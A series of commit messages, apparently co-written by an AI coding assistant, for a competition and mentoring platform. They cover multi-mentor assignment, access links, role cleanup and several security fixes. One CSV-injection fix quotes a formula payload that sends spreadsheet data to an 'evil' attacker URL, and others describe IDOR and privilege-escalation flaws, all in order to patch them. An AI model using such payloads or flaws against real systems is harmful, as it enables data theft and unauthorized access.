Schema: MentorAssignment becomes M:N (composite unique on (projectId, mentorId)).
MentorFile re-scopes to projectId (team-wide); mentorAssignmentId becomes a
nullable audit FK with SetNull. New MentorChangeRequest model + status enum.
Behavior:
- mentor.assign stacks mentors per team; per-team assignment email fires
once per row (idempotent via notificationSentAt).
- mentor.requestChange / listChangeRequests / resolveChangeRequest provide
the change-request inbox; mentors are NOT notified, only admins.
- Workspace files re-scoped to project so all co-mentors and team members
share one file list and chat.
- New inline FilePreview support in the mentor workspace.
- mentor.getProjectMentors surfaces co-mentors on the mentor workspace.
Migration: hand-written, idempotent guards, two-phase backfill on
MentorFile.projectId. Verified against May 7 prod dump with rollback.sql.
PRE-DEPLOY: pull a fresh prod DB dump and re-run the dry-run before
applying the migration to prod (the May 7 snapshot may not include
mentors added since by another admin).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- Eye toggle expands the row below to embed FilePreview from
@/components/shared/file-viewer (PDF iframe, image, video, Office docs)
- Download button uses explicit Content-Disposition: attachment via a
new `disposition` input on workspaceGetFileDownloadUrl
- getPresignedUrl learns `inline: true` and optional `response-content-type`
override so PDFs/images don't get force-downloaded by MinIO's default
- Eye button only renders for previewable mime types
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- multi-mentor-assignment.test.ts: stacking, P2002 dup-pair, per-team email
idempotency via notificationSentAt, requestChange/list/resolve auth +
conflict semantics
- mentor-file-scope.test.ts: schema invariant (projectId required, dropping
the originating assignment leaves the file in place via SetNull)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- /admin/projects/[id]/mentor renders all co-mentors as a list with per-row
Unassign (confirm dialog) and a stacking "Add a mentor" flow that no longer
hides when at least one mentor is assigned. Candidates and AI suggestions
filter out already-assigned mentors.
- Pending change-requests panel appears above the mentor list when there are
open requests for the project, with per-card Mark Resolved / Dismiss actions
routed through mentor.resolveChangeRequest (optional resolution note).
- MentoringRoundOverview gains a "Pending change requests" row showing the
PENDING count across the program; the Review link deep-links to the first
pending request's project mentor page.
- mentor.unassign now accepts { assignmentId } so the admin UI can target a
specific co-mentor (legacy { projectId }-only callers still work and remove
the most-recent assignment).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- /applicant/mentor renders all co-mentors as cards
- New "Request a mentor change" dialog opens a free-form reason + optional
per-mentor target; calls mentor.requestChange and shows admin-routed
confirmation toast
- Pending-request guard disables the button until the admin resolves
- Adds mentor.getProjectMentors({ projectId }) — returns all active
MentorAssignment rows for a project, authorized to any mentor on it
- Workspace page header surfaces "You + N co-mentor(s): names…" so each
mentor knows the team composition without having to ask the admin
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- mentor.requestChange: applicants/admins open a PENDING MentorChangeRequest
with a reason; one open request per (user, project) enforced
- mentor.listChangeRequests: admin-only inbox listing
- mentor.resolveChangeRequest: admin marks RESOLVED or DISMISSED with optional
resolution note
- sendMentorChangeRequestEmail: notifies all SUPER_ADMIN/PROGRAM_ADMIN users
when a request is opened (try/catch — never throws)
- Mentors are NOT notified of change requests, even after resolution
(per design decision in PR8 plan)
- Audit log entries for create + resolve; raw reason redacted from audit
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- MentorFile.projectId is the new access boundary; mentorAssignmentId stays
as informational audit FK (nullable).
- uploadFile derives projectId from the assignment; getFiles takes projectId
directly; deleteFile/addFileComment auth checks any mentor on the project
OR a project team member.
- HMAC upload token now binds to projectId (in addition to assignmentId).
- promoteFile reads file.projectId directly (no more mentorAssignment null
navigation).
- Removes 3 placeholder NOT_FOUND guards added in Task 4.
- mentor.assign no longer rejects on existing mentor; rejects only on
duplicate (projectId, mentorId) via P2002 catch.
- After successful create, sendMentorTeamAssignmentEmail fires once and
stamps MentorAssignment.notificationSentAt for idempotency.
- All existing behavior preserved: audit log, in-app notifications,
MENTORING round auto-transition.
- mentor.getSuggestions no longer short-circuits when a mentor is already
assigned — the suggestions list is now informational and the per-pair
unique constraint enforces correctness at assign time.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Schema dropped @unique on MentorAssignment.projectId in PR8 Task 1 →
back-relation becomes a list. Mechanical rename of Prisma queries and
consumer accessors. Legacy single-mentor callers use [0] with a TODO for
PR8 Task 8 to surface the full list. mentor-workspace.ts is left as Task 5.
- routers (mentor, project, applicant, finalist, round) and smart-assignment
service: include/where/select keys renamed; `mentorAssignment: null` →
`mentorAssignments: { none: {} }`; `{ isNot: null }` → `{ some: {} }`.
- UI consumers (mentor + applicant pages): `project.mentorAssignment` →
`project.mentorAssignments[0]` with TODO markers.
- Tests: `findUnique({ projectId })` → `findFirst({ projectId })` since the
composite key now requires both projectId+mentorId. MentorFile.create gains
the new required projectId.
- Workspace endpoints in mentor.ts now guard null mentorAssignmentId until
Task 5 re-scopes them to project.
- finalist.unconfirm now cascades to ALL active mentor assignments.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Fires when a mentor is added to a specific project team — distinct from the
one-time onboarding email keyed by User.mentorOnboardingSentAt. Idempotency
for this new email is enforced at the call site in Task 4 via
MentorAssignment.notificationSentAt. Wrapped in try/catch — never throws.
Tested against the 2026-05-07 prod dump: restore → forward → rollback restores
the schema to its pre-migration state. Safe to run only BEFORE any project
gets a second mentor — re-adding UNIQUE(projectId) will fail otherwise
(intended safety signal).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The previous Additional Roles grid laid every role option out as a row of
checkboxes regardless of assignment, which made unchecked roles look like
roles the user already had — admins almost toggled the wrong role on the
wrong user (e.g. nearly granting JURY_MEMBER when looking at an
AWARD_MASTER).
New layout shows only the roles a user actually has, as removable badges
with an X. A "Manage roles" dropdown next to them surfaces the full role
list as DropdownMenuCheckboxItems (assigned ones are checked, the
primary role is excluded). Toggling any item opens an AlertDialog with
add/remove-specific copy that names the user and the dashboard being
granted/revoked, so the click is impossible to misread.
The change is staged into local additionalRoles state — same flow as
before — and persisted on Save. Modal copy spells this out so the admin
knows the action isn't applied until they click Save below.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The original generateAccessLink branched on user state and minted either
an invite URL (forces password setup) or a reset URL (forces password
change). Both required the user to set/change a password — fine for new
users, painful for tech-illiterate sponsor jurors who already have a
working password and just need a fresh login because their JWT went
stale or their email is bouncing.
This adapts the existing invite-token flow to behave as a magic-login
when the user already has a password:
- auth.ts credentials.authorize: only set mustSetPassword=true if the
user has no passwordHash. Users who already set one keep it, the
invite token is consumed, JWT is issued with their current role,
they're signed in.
- accept-invite/page.tsx: redirect to / after accept (was hardcoded
to /set-password). The middleware already enforces the
/set-password detour when mustSetPassword is true, so users who
need it still land there; everyone else routes by role.
- generateAccessLink: drop the reset-password branch. Always emits an
/accept-invite URL. The flow naturally adapts: setup for new users,
magic-login for active ones. Audit log records which behavior fired
(kind: 'setup' | 'magic_login').
- dialog copy: clearer description for each kind.
Net behavior: Didier (active, has password, stale JWT after role
migration) clicks his link → instant login on /jury, password preserved.
Magali (no password yet) clicks hers → /set-password → onboarding.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds a "Copy Access Link" button on the member detail page that mints a
one-time URL the admin can share over Slack, WhatsApp, or any other
channel. Solves the "we sent them an invite three weeks ago and it
silently dropped into spam" failure mode that left jurors stranded.
Server: user.generateAccessLink (adminProcedure) inspects the target
user's state and picks the right flow:
- INVITED / NONE / mustSetPassword / no password ever set → invite-flow
URL (/accept-invite?token=…); the existing flow takes them through
accept → set password → onboarding without further admin help.
- Active user with a password → password-reset URL
(/reset-password?token=…); they pick a new password and middleware
bounces them to onboarding if it's still pending.
Both flows already exist; this just exposes a way to mint a fresh token
without sending an email. The token has a 24h hard expiry and is consumed
on successful completion of the flow, so a leaked or screenshot link
can't be replayed against a different user later in the day. Each
generation is audit-logged with the admin's id, the target user's id +
email, and the link kind.
UI: button next to Resend Invite on /admin/members/[id]; opens a dialog
with a read-only input pre-selected, a one-click copy button, expiry
timestamp, and a warning not to paste in public channels.
Side benefit: users like Didier who have stale JWTs from a recent role
change can use a fresh access link to force a re-login that picks up
their updated role.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The previous regex against `prisma migrate status` output silently drifted
out of sync with Prisma 6's wording, so today's failed migration on prod
was never auto-resolved — the container crash-looped and required a
manual DELETE on _prisma_migrations to recover.
Truth lives in the table: a row with `finished_at IS NULL AND
rolled_back_at IS NULL` is an unresolved failure. Query that directly via
the Prisma client (already shelled out for the user-count check below)
and loop until none remain (with a 5-iteration safety bound).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The 20260507151706_drop_award_master_role migration failed on prod with
'default for column "roles" cannot be cast automatically to type
"UserRole_new"[]'. Postgres won't auto-cast the @default([]) binding
through an enum-type swap. Same DROP DEFAULT / SET DEFAULT dance the
singular `role` column already had.
The original migration ran in a transaction that fully rolled back, so
the DB is unchanged — the fixed migration can be applied as-is once the
failed record is resolved (DELETE FROM _prisma_migrations WHERE
migration_name='20260507151706_drop_award_master_role').
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The AWARD_MASTER role split sponsor jurors into a parallel UI that hid
project files (only showed when the award was anchored to an evaluation
round) and duplicated the jury voting path with no real difference in
authority — tie-break and finalize were already governed by AwardJuror.isChair
regardless of the user's global role. Inviting a juror via the award page
defaulted to AWARD_MASTER, randomly fragmenting jury panels.
This collapses the role into JURY_MEMBER + isChair:
- specialAward.getMyAwardDetail now returns evaluation scores, chair
visibility into other jurors' votes, and juror roster
- specialAward.submitVote accepts an optional justification per vote
- specialAward.confirmWinner moves from awardMasterProcedure to
protectedProcedure (juror+chair check inside)
- bulkInviteJurors creates JURY_MEMBER accounts and, when the award has
a juryGroupId, also adds them to that JuryGroup so they appear on
the round-page jury panel
- jury award page renders justification, eval-score badges, and a
chair tools panel with vote tally + finalize-winner CTA
- juryGroup.list includes attached SpecialAwards; the jury-list UI
shows a trophy pill alongside round pills
- (award-master) route group, awardMasterProcedure, AWARD_MASTER role
enum value, and AWARD_MASTER_DECISION decisionMode are deleted
- migration demotes any residual AWARD_MASTER users to JURY_MEMBER and
recreates the UserRole enum without the value
Coup de Coeur on prod: Didier (the sponsor juror added today as
AWARD_MASTER by the buggy invite form) was migrated to JURY_MEMBER and
attached to the existing "Coup de Coeur" JuryGroup; the SpecialAward
itself was linked to that group (juryGroupId was NULL).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- Dashboard summary card: globalScore is /10 (was /100) and DELIBERATION
rounds skip the avg-score row (rank, not score)
- Per-criterion progress bars on full evaluations page: bg-brand-dark is
not a defined class and rendered invisible; switched to bg-brand-blue
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
- globalScore is /10 (was hardcoded /100); use real round.name (was 'Round N')
- Render criteria by type: numeric uses parsed scale (1-10/0-10/1-5),
text shows as quoted block, boolean/advance hidden as jury-internal
- Drop redundant cross-round stat strip and per-round Score Comparison
- Plain language: 'Lowest/Highest' instead of 'Range', 'reviews' not 'evaluations'
- Settings toggles update optimistically (was waiting for refresh)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
When finalizing a round with no further round to advance to, passing teams
are winners — not advancers. Detected for both special-award terminal rounds
(label = award name) and the main competition's terminal round (label =
competition name). Wording uses "a winner" so it works for both single-winner
awards and top-N main-track outcomes.
Adds AWARD_WINNER_NOTIFICATION email type + template ("Your project has won!"
with "our team will reach out about next steps" copy). Routes through the
notification dispatch table the same way ADVANCEMENT_NOTIFICATION does.
The FinalizationSummary gains a `winnerContext` field; the admin finalization
tab uses it to swap "X projects will advance to Y" → "X winners will be
notified for [label]" and renames "Advancement Message" → "Winner Message"
in the custom-message field. The email-preview button shows the winner
template when applicable.
In-app notification (bell icon) gets matching winner copy.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The mentoring round is opt-in (eligibility: requested_only) and only a subset
of advancing teams enter it; the rest auto-pass through. Showing it as the
"next round" in the finalization summary and advancement emails was misleading
since Grand Finale is the shared destination for all advancing teams.
Routing is unchanged — targetRoundId still points to the next round by sortOrder
(may be MENTORING) so opt-in handling is preserved. Only the user-facing label
skips MENTORING.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
The previous addJuror / bulkAddJurors / bulkInviteJurors flows silently
created AwardJuror rows with no notification when the user already had
an account. The result: assigned jurors had no idea they were assigned
unless they happened to log in and check /jury/awards manually.
Three changes:
1. New email template + sender (sendAwardJurorNotificationEmail). Tells
the juror what the award is, how many projects are eligible, when
voting closes, and links straight to /jury/awards/<id>. Reused for
both the initial assignment notification and admin reminders.
2. Auto-send on assignment. addJuror / bulkAddJurors / bulkInviteJurors
now send the email to newly-attached jurors. bulkInviteJurors checks
for a prior AwardJuror row before sending so duplicate "Bulk Invite"
clicks don't spam jurors who were already assigned. addJuror /
bulkAddJurors accept a `sendEmail` flag so admin tooling can opt out.
3. New admin procedure specialAward.notifyJurors(awardId, userIds?,
customMessage?). Surfaced in the Jurors tab as a "Send reminder to
all" button at the top and a per-row mail icon for individual
reminders. Audit-logged with action: 'JUROR_REMINDER'.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
ai-shortlist was sending raw project.description, raw juror feedback
text (feedbackGeneral / feedbackText), and full extracted file text
content directly to OpenAI as part of the user prompt. Its only
"anonymization" was renaming `id` to `anonymousId`. This bypassed the
GDPR contract documented in the file's own header comment ("All project
data is anonymized before AI processing — No personal identifiers in
prompts") and in CLAUDE.md ("All AI calls anonymize data before sending
to OpenAI").
A juror writing "Contact applicant Jane Doe at jane@example.com" in
feedback would ship that PII to OpenAI verbatim every time an admin
generated a shortlist. Same for any names / emails / phone numbers
embedded in extracted PDF text.
generateCategoryShortlist now mirrors the pattern used by ai-filtering /
ai-tagging / ai-award-eligibility:
- toProjectWithRelations + anonymizeProjectsForAI(_, 'FILTERING')
- validateAnonymizedProjects gate that aborts on detected PII
- Aggregates (avgScore, evaluationCount, feedbackSamples) computed
separately and merged onto the anonymized projects; each feedback
sample passes through sanitizeText (strips email/phone/url/ssn) and
is truncated to 1000 chars.
Defense-in-depth fix in the shared helper: anonymizeProjectForAI now
also runs sanitizeText over each file's text_content before emitting it
to AI services. Previously the helper passed extracted file text
through unchanged, which would have leaked PII from PDF body text via
ai-filtering / ai-tagging / ai-award-eligibility too if those services
turn on aiParseFiles.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
CSV cells whose first character is one of `=`, `+`, `-`, `@`, `\t`, `\r`
are interpreted as formulas by Excel and LibreOffice when the file is
opened. `=HYPERLINK(...)` and `=WEBSERVICE(...)` execute on cell focus
with no prompt and can exfiltrate row data to an attacker URL; DDE
(`=cmd|...`) reaches RCE behind the "enable content" prompt.
The platform exposes anonymous-attacker reachable sinks:
- `application.submit` is publicProcedure with `projectName` as
`z.string().min(2).max(200)` — no character filter — so a project
titled `=HYPERLINK("https://evil/?d="&A1,"Click")` lands in every
admin export that includes Project.title.
- `userAgent` from any unauthenticated request is persisted to
`AuditLog.userAgent` and dumped verbatim into the audit-log CSV.
Three independent CSV builders all only escaped commas/quotes/newlines
and missed the formula-prefix class:
- `src/components/shared/csv-export-dialog.tsx` — used by
export.evaluations, export.assignments, export.filteringResults,
export.auditLogs, export.projectScores
- `src/components/admin/round/ranking-dashboard.tsx`
- `src/server/routers/lunch.ts` (lunch.exportManifestCsv)
Centralized the fix in a new `src/lib/csv.ts` `csvCell` helper that
prefixes a single quote when the value starts with a formula trigger,
then applies the standard quote/escape rules. Wired into all three
builders.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Three separate issues in the file storage layer:
1. IDOR via client-controlled object key in applicant.saveFileMetadata
and file.replaceFile. Both procedures accepted `bucket` and `objectKey`
from the client and stored them on a new ProjectFile row attached to
the caller's own project. Because file.getDownloadUrl authorizes via
`findFirst({ bucket, objectKey })` -> projectId, an attacker could
bind another team's storage object to their own project row and then
download the foreign object through the legitimate authorization
path. Now both procedures require `bucket === BUCKET_NAME` and the
`objectKey` to start with the project's sanitized title prefix
(matches the prefix that generateObjectKey produces server-side).
New helper `objectKeyBelongsToProject` exported from src/lib/minio.ts;
`sanitizePath` is now exported as well so the helper can reuse it.
2. Missing per-round scope on file.getBulkDownloadUrls. The single-file
getDownloadUrl restricts a juror to files in rounds with sortOrder
<= their assigned round, but the bulk variant only checked that an
Assignment row existed for the project. A juror assigned only to
EVALUATION could pull URLs for LIVE_FINAL/DELIBERATION confidential
files via this endpoint. Now applies the same per-round filter when
the caller's access to the project is jury-only (mentors / team
members / award jurors retain unrestricted access, matching
getDownloadUrl semantics).
3. Same omission on the standalone /api/files/bulk-download REST route.
Same fix applied there.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Three high-severity issues in user router:
1. user.update accepted both `role` and `roles[]` from input but only
guarded the singular `role`. A PROGRAM_ADMIN could pass `roles:
['SUPER_ADMIN']` and self-escalate. Now applies the same guards to the
array field and uses both fields when checking the target's current
admin tier.
2. user.updateRoles only blocked SUPER_ADMIN grants; PROGRAM_ADMIN could
grant PROGRAM_ADMIN laterally and could pass `roles: []` against any
existing SUPER_ADMIN to silently demote them. Now blocks PROGRAM_ADMIN
grants and refuses to mutate any target who currently holds SUPER_ADMIN
or PROGRAM_ADMIN unless the caller is SUPER_ADMIN.
3. user.bulkUpdateRoles had the same omission and additionally let a
PROGRAM_ADMIN strip SUPER_ADMIN from every peer admin in one call. Now
requires SUPER_ADMIN for any add/remove of admin-tier roles, blocks
modifying admin targets entirely from non-super-admins, and adds a
PROGRAM_ADMIN self-demote guard.
Plus: user.updateProfile previously let any authenticated user silently
overwrite their own email with no verification or notification — turning
any short-lived session compromise into permanent account takeover via
password reset on the new address. Email is removed from the input
schema; the profile page email field is now read-only with a "contact
an administrator" hint.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
project.list previously gated only JURY_MEMBER to assigned projects;
APPLICANT, MENTOR, OBSERVER, AUDIENCE, AWARD_MASTER fell through with
full access to every project across every program (team-member PII,
files, mentor identities). project.get had the same flaw.
Now: SUPER_ADMIN/PROGRAM_ADMIN see all (existing); OBSERVER/AWARD_MASTER
see all (these roles exist for cross-program oversight); JURY_MEMBER
sees only their assignments; MENTOR sees only their mentorAssignments;
APPLICANT sees only their team's projects; AUDIENCE sees nothing.
For users holding multiple roles, the access check uses an OR over the
applicable relationships (e.g. a mentor who is also an applicant sees
both their mentor projects and their team projects).
Existing admin/jury/mentor UIs continue to work because their access
paths are still satisfied. Audience users were not expected to use
project.list in the first place; they now correctly receive an empty
list rather than the full database.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Replace was previously accepted from anyone with a relationship to the
project: jury (assignment), mentor (mentorAssignment), or team member.
That allowed jurors and mentors to swap a team's submission, with the
attacker-supplied bucket+objectKey pointing at any object they had
uploaded elsewhere.
Now only admins and the team itself (submitter or TeamMember) can
replace files. Jurors and mentors remain read-only on submissions.
The legitimate UI flow (team-lead replacing files from the applicant
dashboard) is unaffected.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
evaluation.getDiscussion and evaluation.addComment were juryProcedure
that took projectId+roundId from input but never verified the caller
had an Assignment for that project+round. A juror could read foreign
deliberations and inject comments into them.
evaluation.getCOIStatus was protectedProcedure with no ownership check,
returning the full ConflictOfInterest record (including the free-text
description that captures personal/financial relationships) for any
assignmentId.
Both now check that admins are allowed always and otherwise require
assignment ownership. getCOIStatus loads the assignment to verify
caller ownership before returning the COI record.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
workspaceSendMessage, workspaceGetMessages, workspaceMarkRead, and
workspaceAddFileComment previously trusted the caller-supplied ID and
only checked workspaceEnabled. Any user with the MENTOR role could
read/post in any workspace, impersonating the assigned mentor and
inserting comments under any team's deliverables.
All four now run assertWorkspaceAccess (assigned mentor or team member
of the project), mirroring the file-handling procedures in the same
router. workspaceMarkRead resolves the message -> workspaceId first,
and additionally short-circuits when the caller is the sender so unread
state stays honest. workspaceAddFileComment resolves the file ->
mentorAssignmentId before the access check.
Procedures downgraded from mentorProcedure to protectedProcedure since
assertWorkspaceAccess is the real gate.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Prevents non-jury authenticated users from casting votes that get
counted in the jury aggregate. Admins are still allowed; everyone else
must be a JuryGroupMember of the round's jury group. Also explicitly
sets isAudienceVote=false on the upsert so audience votes can't be
laundered into jury votes via this path. Audience voting continues to
flow through the existing castAudienceVote publicProcedure.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds lunch.getProjectExternals (team-member guarded). Strip auto-hides
when no externals attached to the team.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
LunchPickForm shared between applicant dashboard rows (member-self /
team-lead context) and the admin manifest's edit-pencil slide-over.
Adds lunch.getMemberPick read for the per-row hydration.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds program.listFinalistProjects helper. Externals dialog supports
both standalone and project-attached entries; manifest's external row
edit-pencil opens this dialog via forwardRef.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Both endpoints follow the existing GET + x-cron-secret pattern. Per-event
try/catch ensures one failing event does not poison the sweep.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds sendLunchReminderEmail and sendLunchRecapEmail. Templates use
Intl.DateTimeFormat with Europe/Monaco zone. Reuses existing
escapeHtml helper.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Adds buildManifest service shared between getManifest and the recap.
CSV escaper handles commas/quotes/newlines for safe spreadsheet import.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>